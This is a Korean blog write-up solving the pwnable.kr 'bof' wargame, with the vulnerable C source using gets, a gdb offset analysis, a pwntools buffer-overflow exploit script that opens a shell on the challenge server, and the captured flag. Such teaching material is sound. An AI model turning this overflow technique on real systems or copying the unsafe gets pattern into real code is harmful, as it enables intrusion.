[Pwnable.kr Prob] bof

코코·2023년 1월 19일
0

Pwnable.kr

목록 보기
2/10
post-thumbnail

Pwnable.kr 세 번째 문제 풀이

Pwnable.kr의 세 번째 문제인 bof를 풀어보려고 한다.

세 번째 문제는 기초 buffer overflow이다.
우선 bof 바이너리 파일과 bof.c 파일을 다운로드 받았다..


바이너리 파일 보호기법 확인

우선 bof 바이너리 파일의 보호기법을 확인해보자.
CanaryNX, PIE 까지 적용되어있다.
다음으로는 bof 파일을 실행시켜보자.

바이너리 파일을 실행시켜보면, overflow me : 라는 문자열이 나오고, 사용자의 입력값을 받는다..
그 후에는 Nah..을 출력하고 죵료된다.

소스코드 분석

바로 소스코드를 확인해보자.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

코드를 보면, main 함수에서 0xdeadbeef를 인자로 func 함수를 실행시킨다.
func함수를 살펴보면, gets 함수를 통해 사용자의 입력값을 overflowme 라는 변수에 저장하고,
if문에서 func 함수의 인자와 0xcafebabe를 비교하여 같으면 Shell 획득할 수 있다.

Pwndbg

이제 func의 첫 번째 인자와 사용자의 입력값이 스택의 어느 부분에 위치하는지 gdb로 분석해보자. 가자!
우리가 살펴봐야할 부분은 func 함수의 내부이다. 빠르게 n으로 넘겨주고 si로 func 함수로 들어가보자..!

gets 함수가 실행되면, 사용자의 입력값이 스택의 어느 부분에 위치하는지 확인하기위해 테스트로 test라는 문자열을 입력한다.

사용자의 입력값은 ebp-0x2c에 위치한다!!
다음으로는 바로 key의 변수의 위치를 확인해보자.

disassemble func 명령어를 통해 func 함수의 어셈블러를 확인해서 key 변수의 위치를 파악할 수 있다.
아까 소스코드에서 0xcafebabe와 비교하는 부분을 어셈블러 코드에서 확인하면 된다!
key변수는 ebp+0x8에 위치한다!!

사용자의 입력값과 key 변수의 차이는 ebp+0x8 - (ebp-0x2c) = 0x34이다.
즉, 0x34만큼을 A라는 문자로 덮고, 그 뒤에 0xcafebabe를 32bit 패킹해서 넣어주면 익스가 될 것이다.

Exploit

Payload는 아래와 같다..

from pwn import *

context.log_level = 'debug'

r = remote('pwnable.kr', 9000)
# r = process('bof')

payload = b"A"*0x34
payload += p32(0xcafebabe)
r.send(payload)

r.interactive()

Flag 획득!! "daddy, I just pwned a buFFer :)"

profile
화이팅!

0개의 댓글